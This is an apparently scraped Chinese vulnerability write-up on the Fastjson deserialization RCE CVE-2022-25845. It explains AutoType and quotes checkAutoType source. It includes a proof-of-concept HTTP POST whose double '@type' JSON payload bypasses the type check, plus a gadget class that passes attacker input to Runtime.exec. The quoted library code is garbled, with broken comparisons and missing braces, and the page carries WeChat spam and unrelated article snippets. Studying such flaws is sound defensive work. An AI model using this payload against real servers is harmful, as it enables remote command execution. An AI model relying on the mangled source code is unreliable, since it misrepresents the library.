当前位置: 首页 > news >正文

【漏洞分析】Fastjson最新版本RCE漏洞

01漏洞编号

CVE-2022-25845CNVD-2022-40233CNNVD-202206-1037

二、Fastjson知多少

万恶之源AutoType

Fastjson的主要功能是将Java Bean序列化为JSON字符串,这样得到的字符串就可以通过数据库等方式进行持久化了。

但是,Fastjson在序列化及反序列化的过程中,没有使用Java自带的序列化机制,而是自定义了一套机制。

对于JSON框架来说,想要把一个Java对象转换成字符串,有两种选择:

1、基于属性

2、基于Setter/Getter

在我们常用的JSON序列化框架中,Fastjson和Jackson将对象序列化成Json字符串时,是通过遍历该类中所有的Getter方法来进行的。而Gson不是这么做的,它是通过反射遍历该类中的所有属性,并把其值序列化为Json 。

假设我们有下面这个Java类:

class Store {
private String name;
private Fruit fruit;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Fruit getFruit() {
return fruit;
}
public void setFruit(Fruit fruit) { 
this.fruit = fruit;
} 
}
interface Fruit {
}
class Apple implements Fruit {
private BigDecimal price;
//省略 setter/getter、toString等 
}
//所有网络安全全套资料免费领取加w:anquan455领取~

当我们对它进行序列化时,Fastjson会扫描其中的Getter方法,即找到getName和getFruit,这时就会将Name和Fruit两个字段的值序列化到JSON字符串中。

那么问题来了,上面定义的Fruit只是一个接口,序列化的时候Fastjson能将属性值正确序列化出来吗?如果可以的话,反序列的时候,Fastjson会把这个Fruit反序列化成什么类型呢?

我们尝试基于Fastjson v1.2.68验证一下:

Store store = new Store();
store.setName("Hollis");
Apple apple = new Apple();
apple.setPrice(new BigDecimal(0.5));
store.setFruit(apple);
String jsonString = JSON.toJSONString(store);
System.out.println("toJSONString : " + jsonString);

以上代码比较简单,我们创建了一个store,为它指定了名称,并创建了Fruit的子类型Apple,然后将store用JSON.toJSONString进行序列化,可以得到以下JSON内容:

toJSONString : {
"fruit":{
"price":0.5
}
,"name":"Hollis"
}

那么,Fruit的类型是什么呢,能否反序列化为Apple呢?我们再来执行以下代码:

Store newStore = JSON.parseObject(jsonString, Store.class);
System.out.println("parseObject : " + newStore);
Apple newApple = (Apple)newStore.getFruit();
System.out.println("getFruit : " + newApple);

执行结果如下:

toJSONString : {
"fruit":{
"price":0.5
}
,"name":"Hollis"
}
parseObject : Store{
name='Hollis', fruit={}}
Exception in thread "main" java.lang.ClassCastException: com.hollis.lab.fastjson.test.$Proxy0 cannot be cast to com.hollis.lab.fastjson.test.Apple
at com.hollis.lab.fastjson.test.FastJsonTest.main(FastJsonTest.java:26)

可以看到,在将store反序列化后,我们尝试将Fruit转换成Apple,但抛出了异常,如果直接转换成Fruit则不会报错,如下:

Fruit newFruit = newStore.getFruit();
System.out.println("getFruit : " + newFruit);

从以上现象中我们得知,当一个类中包含了一个接口(或抽象类)的时候,使用Fastjson进行序列化,会将子类型抹去,只保留接口(抽象类)的类型,使得反序列化时无法拿到原始类型。

如何解决这个问题呢?Fastjson引入了AutoType,在序列化时,把原始类型记录下来。使用方法是通过SerializerFeature.WriteClassName进行标记,即将上述代码中的:

String jsonString = JSON.toJSONString(store);

修改为:

String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName);

修改后的代码输出结果如下:

System.out.println("toJSONString : " + jsonString);
{
"@type":"com.hollis.lab.fastjson.test.Store",
"fruit":{
"@type":"com.hollis.lab.fastjson.test.Apple",
"price":0.5
}
,
"name":"Hollis"
}

可以看到,使用SerializerFeature.WriteClassName进行标记后,JSON符串中多出了一个@type字段,标注了类对应的原始类型,方便在反序列化的时候定位到具体类型。**

如上,将序列化后的字符串再反序列化,就可以顺利拿到Apple类型,整体输出内容如下:

toJSONString : {
"@type":"com.hollis.lab.fastjson.test.Store","fruit":{
"@type":"com.hollis.lab.fastjson.test.Apple","price":0.5
}
,"name":"Hollis"
}
parseObject : Store{
name='Hollis', fruit=Apple{price=0.5}}
getFruit : Apple{price=0.5}

这就是Fastjson中引入AutoType的原因,但是也正因为这个特性,因为功能设计之初在安全方面考虑不周,给后续的Fastjson使用者带来了无尽的痛苦。

checkAutoType

Fastjson为了实现反序列化引入了AutoType,造成:

1、Fastjson是基于内置黑名单来实现安全的,打开AutoType后可能造成安全风险,即绕过黑名单。

2、关闭AutoType后,是基于白名单进行防护的,此次解析的漏洞就是在未开启AutoType时产生的。

从v1.2.25版本开始,Fastjson默认关闭了AutoType支持,并且加入了checkAutoType,加入了黑白名单来防御AutoType开启的情况。

Fastjson绕过历史可以分为AutoType机制绕过和黑名单绕过,绝大部分情况都是寻找一个新的利用链来绕过黑名单,所以Fastjson官方的黑名单列表越来越大;但是更有意义的绕过显然是AutoType机制绕过,这样无需手动配置autoTypeSupport也可能进行利用。

我们先来看一下通过checkAutoType()校验的方式有哪些:

1、白名单里的类

2、开启了AutoType

3、使用了JSONType注解

4、指定了期望类(expectClass)

5、缓存在mapping中的类

6、使用ParserConfig.AutoTypeCheckHandler接口通过校验的类

三、攻击思路

**目标:**绕过AutoType机制

**手段:**通过checkAutoType()校验

**方法:**寻找使用checkAutoType()的函数,并使之通过checkAutoType()校验

通过研究v1.2.50和v1.2.68的绕过方式,主要是在ObjectDeserializer接口的子类JavaBeanDeserializer中存在expectClass非空的checkAutoType调用,这也是绕过的关键。顺着这个思路,我们继续在ObjectDeserializer接口的其他子类中寻找expectClass非空的checkAutoType调用,发现在子类ThrowableDeserializer的函数deserialze中也存在满足条件的调用。
1666582209_635606c1646616c63e76f.jpg

1.2.80版本的checkAutoType代码如下:

public Class<?> checkAutoType(Class type) {
if (get(type) != null) {
return type;
}
return checkAutoType(type.getName(), null, JSON.DEFAULT_PARSER_FEATURE);
}
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
return checkAutoType(typeName, expectClass, JSON.DEFAULT_PARSER_FEATURE);
}
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
}
if (autoTypeCheckHandlers != null) {
for (AutoTypeCheckHandler h : autoTypeCheckHandlers) {
Class<?> type = h.handler(typeName, expectClass, features);
if (type != null) {
return type;
}
}
}
final int safeModeMask = Feature.SafeMode.mask;
Boolean safeMode = this.safeMode
|| (features & safeModeMask) != 0
|| (JSON.DEFAULT_PARSER_FEATURE & safeModeMask) != 0;
if (safeMode) {
throw new JSONException("safeMode not support autoType : " + typeName);
}
if (typeName.length() >= 192 || typeName.length() < 3) {
throw new JSONException("autoType is not support. " + typeName);
}
final Boolean expectClassFlag;
if (expectClass == null) {
expectClassFlag = false;
} else {
long expectHash = TypeUtils.fnv1a_64(expectClass.getName());
if (expectHash == 0x90a25f5baa21529eL
|| expectHash == 0x2d10a5801b9d6136L
|| expectHash == 0xaf586a571e302c6bL
|| expectHash == 0xed007300a7b227c6L
|| expectHash == 0x295c4605fd1eaa95L
|| expectHash == 0x47ef269aadc650b4L
|| expectHash == 0x6439c4dff712ae8bL
|| expectHash == 0xe3dd9875a2dc5283L
|| expectHash == 0xe2a8ddba03e69e0dL
|| expectHash == 0xd734ceb4c3e9d1daL
) {
expectClassFlag = false;
} else {
expectClassFlag = true;
}
}
String className = typeName.replace('$', '.');
Class<?> clazz;
final long h1 = (fnv1a_64_magic_hashcode ^ className.charAt(0)) * fnv1a_64_magic_prime;
if (h1 == 0xaf64164c86024f1aL) {
// [
throw new JSONException("autoType is not support. " + typeName);
}
if ((h1 ^ className.charAt(className.length() - 1)) * fnv1a_64_magic_prime == 0x9198507b5af98f0L) {
throw new JSONException("autoType is not support. " + typeName);
}
final long h3 = (((((fnv1a_64_magic_hashcode ^ className.charAt(0))
* fnv1a_64_magic_prime)
^ className.charAt(1))
* fnv1a_64_magic_prime)
^ className.charAt(2)) 
* fnv1a_64_magic_prime;
long fullHash = TypeUtils.fnv1a_64(className);
Boolean internalWhite = Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES,  fullHash) = 0;
if (internalDenyHashCodes != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= fnv1a_64_magic_prime;
if (Arrays.binarySearch(internalDenyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
if ((!internalWhite) && (autoTypeSupport || expectClassFlag)) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= fnv1a_64_magic_prime;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
if (clazz != null) {
return clazz;
}
}
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
if (Arrays.binarySearch(acceptHashCodes, fullHash) >= 0) {
continue;
throw new JSONException("autoType is not support. " + typeName);
clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
if (clazz == null) {
clazz = typeMapping.get(typeName);
}
if (internalWhite) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
}
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& clazz != java.util.LinkedHashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
if (!autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= fnv1a_64_magic_prime;
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
// white list
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
if (clazz == null) {
return expectClass;
}
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
Boolean jsonType = false;
InputStream is = null;
try {
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
if (is != null) {
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
}
}
catch (Exception e) {
// skip
}
finally {
IOUtils.close(is);
}
final int mask = Feature.SupportAutoType.mask;
Boolean autoTypeSupport = this.autoTypeSupport
|| (features & mask) != 0
|| (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
if (autoTypeSupport || jsonType || expectClassFlag) {
Boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
if (clazz != null) {
if (jsonType) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
}
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
|| javax.sql.RowSet.class.isAssignableFrom(clazz) //
) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);}}if (!autoTypeSupport) {throw new JSONException("autoType is not support. " + typeName);
}if (clazz != null) {
TypeUtils.addMapping(typeName, clazz);
}return clazz;
}

四、POC

按照上面思路构造POC如下:

POST /fastjson HTTP/1.1
Host: 172.31.1.101:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0;
Win64;
x64;
rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html,application/xhtml+xml,application/xml;
q=0.9,image/avif,image/webp,*
/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 117
{
"@type": "java.lang.Exception",
"@type": "com.example.springfastjson.model.poc20220523",
"name": "control"
}

代码中需要有如下的类:

package com.example.springfastjson.model;
import java.io.IOException;
public class poc20220523 extends Exception {
public void setName(String str) {
try {
Runtime.getRuntime().exec(str);
}
catch (IOException e) {
e.printStackTrace();
}
}
}

五、代码分析

通过一系列的字符检查之后,@type": "java.lang.Exception"步入到checkAutoType

image.png

经过checkAutoType函数检查。
image.png

尝试从缓存mapping中实例化clazz(TypeUtils.addBaseClassMappings已经将java.lang.Exception加入了mapping):
image.png
image.png

往下走getDeserializer返回的ObjectDeserializer为ThrowableDeserializer类型。
image.png
image.png

进入ThrowableDeserializer.deserialze,顺利到达checkAutoType 。
image.png

参数传到checkAutoType函数,且expectClass不为空,顺利绕过checkAutoType函数。

【一一帮助安全学习,点我一一】
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部教程

image.png
image.png
image.png

相关文章:

【漏洞分析】Fastjson最新版本RCE漏洞

01漏洞编号 CVE-2022-25845CNVD-2022-40233CNNVD-202206-1037二、Fastjson知多少 万恶之源AutoType Fastjson的主要功能是将Java Bean序列化为JSON字符串&#xff0c;这样得到的字符串就可以通过数据库等方式进行持久化了。 但是&#xff0c;Fastjson在序列化及反序列化的过…...

【项目开发 | 跨域认证】JSON Web Token(JWT)

未经许可,不得转载。 文章目录 JWT设计背景:跨域认证JWT 原理JWT 结构JWT 使用方式注意JSON Web Token(缩写 JWT)是目前最流行的跨域认证解决方案,本文介绍它的原理、结构及用法。 JWT设计背景:跨域认证 互联网服务的用户认证流程是现代应用中的核心组成部分,通常的流程…...

杨中科 .Net Core 笔记 DI 依赖注入2

ServiceCollection services new ServiceCollection();//定义一个承放服务的集合 services.AddScoped<iGetRole, GetRole>();using (ServiceProvider serviceProvider services.BuildServiceProvider()) {var list serviceProvider.GetServices(typeof(iGetRole));//获…...

微信版产品目录如何制作?

微信作为我国最流行的社交媒体平台&#xff0c;拥有庞大的用户群体。许多企业都希望通过微信来推广自己的产品&#xff0c;提高品牌知名度。制作一份精美、实用的微信版产品目录&#xff0c;是企业微信营销的重要手段。微信版产品目录的制作方法&#xff0c;帮助您轻松入门。 ​…...

使用HTML、CSS和JavaScript创建动态圣诞树

✅作者简介&#xff1a;2022年博客新星 第八。热爱国学的Java后端开发者&#xff0c;修心和技术同步精进。 &#x1f34e;个人主页&#xff1a;Java Fans的博客 &#x1f34a;个人信条&#xff1a;不迁怒&#xff0c;不贰过。小知识&#xff0c;大智慧。 ✨特色专栏&#xff1a…...

机器学习-35-提取时间序列信号的特征

文章目录 1 特征提取方法1.1 特征提取过程1.2 两类特征提取方法2 基于数据驱动的方法2.1 领域特定特征提取2.2 基于频率的特征提取2.2.1 模拟信号2.2.2 傅里叶变换2.2.3 抽取最大幅值对应特征2.2.4 抽取峰值幅值对应特征2.3 基于统计的特征提取2.4 基于时间的特征提取3 参考附录…...

【软件测试】设计测试用例的万能公式

文章目录 概念设计测试用例的万能公式常规思考逆向思维发散性思维万能公式水杯测试弱网测试如何进行弱网测试 安装卸载测试 概念 什么是测试用例&#xff1f; 测试⽤例&#xff08;Test Case&#xff09;是为了实施测试⽽向被测试的系统提供的⼀组集合&#xff0c;这组集合包…...

【MySQL 保姆级教学】事务的自动提交和手动提交(重点)--上(13)

目录 1. 什么是事务&#xff1f;2. 事务的版本支持3. 事务提交的方式3.1 事务提交方式的分类3.2 演示的准备的工作3.2.1 创建表3.2.2 MySQL的服务端和客户端3.2.3 调低事务的隔离级别 4. 手动提交4.1 手动提交的命令说明4.2 示例一4.3 示例二4.4 示例三4.5 示例四 5. 自动提交5…...

CUDA 核心与科学计算 :NVIDIA 计算核心在计算服务器的价值

在现代科学计算领域&#xff0c;NVIDIA GPU 的计算能力是突破研究瓶颈的关键力量&#xff0c;而其中的 CUDA 核心与科学计算有着紧密的联系。 CUDA 核心于 2007 年开发&#xff0c;是一款基于单指令多线程 (SIMT) 模型的多功能通用核心。它在处理并行计算任务方面能力卓越&…...

架构师之路-学渣到学霸历程-58

Nginx的反向代理实验 今天分享的实验其实就是一个变形&#xff1b;变形uri看看nginx的配置有什么区别&#xff1b; 这个就更加绕&#xff0c;是比较不同的配置路径会有什么的区别&#xff1f; 来看看这个变形会得出什么的效果 1.首先配置后端服务器的资源 首页资源–>1…...

qq相册为啥越来越糊

电子存储衰退的原因 存储设备的失真通常和 存储介质的老化、数据退化、电荷泄漏 等问题有关。尤其是对闪存类存储&#xff08;如SSD、U盘&#xff09;来说&#xff0c;随着时间的推移&#xff0c;存储在其中的电荷可能会流失&#xff0c;导致数据损坏。而对于传统的机械硬盘&am…...

<有毒?!> 诺顿检测:这篇 CSDN 文章有病毒

NAS(qnap)中安装git服务(gogs)&#xff0c;硬件为TS-453Bmini&#xff0c;固件版本&#xff1a;QTS 5.1.2.2533_qnap git服务器-CSDN博客 https://estar.blog.csdn.net/article/details/134138932 威胁名称&#xff1a;JS:Downloader-GEG [Trj]威胁类型&#xff1a;特洛伊木马…...

matlab实现主成分分析方法图像压缩和传输重建

原创 风一样的航哥 航哥小站 2024年11月12日 15:23 江苏 为了研究图像的渐进式传输技术&#xff0c;前文提到过小波变换&#xff0c;但是发现小波变换非常适合传输缩略图&#xff0c;实现渐进式传输每次传输的数据量不一样&#xff0c;这是因为每次变换之后低频成分大约是上一…...

18.UE5怪物视野、AI感知、攻击范围、散弹技能

2-20 怪物视野、AI感知、攻击范围、散弹技能_哔哩哔哩_bilibili 目录 1.AI感知组件 2.AI感知更新的函数 3.攻击范围 4.散弹技能 4.1创建发射物i 4.2创建远程攻击方式 4.3散弹自定义事件的实现 4.4动画通知实现攻击 1.AI感知组件 为怪物蓝图添加AI感知组件&#xff0c…...

【 ElementUI 组件Steps 步骤条使用新手详细教程】

本文介绍如何使用 ElementUI 组件库中的步骤条组件完成分步表单设计。 效果图&#xff1a; 基础用法​ 简单的步骤条。 设置 active 属性&#xff0c;接受一个 Number&#xff0c;表明步骤的 index&#xff0c;从 0 开始。 需要定宽的步骤条时&#xff0c;设置 space 属性即…...

MQTT从入门到精通之 MQTT 客户端编程

MQTT 客户端编程 1 在VUE中使用MQTT 具体步骤如下所示&#xff1a; 1、初始化vue项目 // 创建一个使用vite构建的前端项目 npm create vitelatest// 进入到项目中&#xff0c;执行如下命令安装项目依赖 npm install 2、安装element plus // 安装element plus npm install …...

数据结构-集合

一.集合的表示 一个重要的操作是查某个元素属于哪个集合&#xff0c;另一个操作是合并操作 从这个树的节点去找树根也就是从下往上找,要把树并起来只需把两个根并在一起就可以了 不存在已知一个节点去找孩子节点&#xff0c;根重要的是已知一个节点找它的父亲节点,与之前的二…...

前端 JS面向对象 原型 prototype

目录 一、问题引出 二、prototype原型对象 三、小结 四、constructor 五、__proto__对象原型 六、原型链 一、问题引出 由于JS的构造函数存在内存浪费问题&#xff1a; function Star(name,age){this.namenamethis.ageagethis.singfunction () {console.log("唱歌&…...

Java中的不可变集合:性能与安全并重的最佳实践

Java中的不可变集合&#xff1a;性能与安全并重的最佳实践 在现代软件开发中&#xff0c;集合类&#xff08;如List、Set和Map&#xff09;是Java开发者的日常工具。它们用于存储和操作数据&#xff0c;能极大地简化开发工作。但随着并发编程和大规模应用的广泛使用&#xff0…...

RandomWords随机生成单词

from random_words import RandomWords rw RandomWords() r rw.random_word() print(r) 更多How to use — random_words documentation (randomwords.readthedocs.io) li LoremIpsum()# 这行代码创建了一个 LoremIpsum 类的实例。li.get_sentence()# 这个方法返回一个随机…...

RestClient

什么是RestClient RestClient 是 Elasticsearch 官方提供的 Java 低级 REST 客户端&#xff0c;它允许HTTP与Elasticsearch 集群通信&#xff0c;而无需处理 JSON 序列化/反序列化等底层细节。它是 Elasticsearch Java API 客户端的基础。 RestClient 主要特点 轻量级&#xff…...

Linux应用开发之网络套接字编程(实例篇)

服务端与客户端单连接 服务端代码 #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <arpa/inet.h> #include <pthread.h> …...

.Net框架,除了EF还有很多很多......

文章目录 1. 引言2. Dapper2.1 概述与设计原理2.2 核心功能与代码示例基本查询多映射查询存储过程调用 2.3 性能优化原理2.4 适用场景 3. NHibernate3.1 概述与架构设计3.2 映射配置示例Fluent映射XML映射 3.3 查询示例HQL查询Criteria APILINQ提供程序 3.4 高级特性3.5 适用场…...

多场景 OkHttpClient 管理器 - Android 网络通信解决方案

下面是一个完整的 Android 实现&#xff0c;展示如何创建和管理多个 OkHttpClient 实例&#xff0c;分别用于长连接、普通 HTTP 请求和文件下载场景。 <?xml version"1.0" encoding"utf-8"?> <LinearLayout xmlns:android"http://schemas…...

Mybatis逆向工程,动态创建实体类、条件扩展类、Mapper接口、Mapper.xml映射文件

今天呢&#xff0c;博主的学习进度也是步入了Java Mybatis 框架&#xff0c;目前正在逐步杨帆旗航。 那么接下来就给大家出一期有关 Mybatis 逆向工程的教学&#xff0c;希望能对大家有所帮助&#xff0c;也特别欢迎大家指点不足之处&#xff0c;小生很乐意接受正确的建议&…...

Linux相关概念和易错知识点(42)(TCP的连接管理、可靠性、面临复杂网络的处理)

目录 1.TCP的连接管理机制&#xff08;1&#xff09;三次握手①握手过程②对握手过程的理解 &#xff08;2&#xff09;四次挥手&#xff08;3&#xff09;握手和挥手的触发&#xff08;4&#xff09;状态切换①挥手过程中状态的切换②握手过程中状态的切换 2.TCP的可靠性&…...

Opencv中的addweighted函数

一.addweighted函数作用 addweighted&#xff08;&#xff09;是OpenCV库中用于图像处理的函数&#xff0c;主要功能是将两个输入图像&#xff08;尺寸和类型相同&#xff09;按照指定的权重进行加权叠加&#xff08;图像融合&#xff09;&#xff0c;并添加一个标量值&#x…...

基于Docker Compose部署Java微服务项目

一. 创建根项目 根项目&#xff08;父项目&#xff09;主要用于依赖管理 一些需要注意的点&#xff1a; 打包方式需要为 pom<modules>里需要注册子模块不要引入maven的打包插件&#xff0c;否则打包时会出问题 <?xml version"1.0" encoding"UTF-8…...

在web-view 加载的本地及远程HTML中调用uniapp的API及网页和vue页面是如何通讯的?

uni-app 中 Web-view 与 Vue 页面的通讯机制详解 一、Web-view 简介 Web-view 是 uni-app 提供的一个重要组件&#xff0c;用于在原生应用中加载 HTML 页面&#xff1a; 支持加载本地 HTML 文件支持加载远程 HTML 页面实现 Web 与原生的双向通讯可用于嵌入第三方网页或 H5 应…...

JVM 内存结构 详解

内存结构 运行时数据区&#xff1a; Java虚拟机在运行Java程序过程中管理的内存区域。 程序计数器&#xff1a; ​ 线程私有&#xff0c;程序控制流的指示器&#xff0c;分支、循环、跳转、异常处理、线程恢复等基础功能都依赖这个计数器完成。 ​ 每个线程都有一个程序计数…...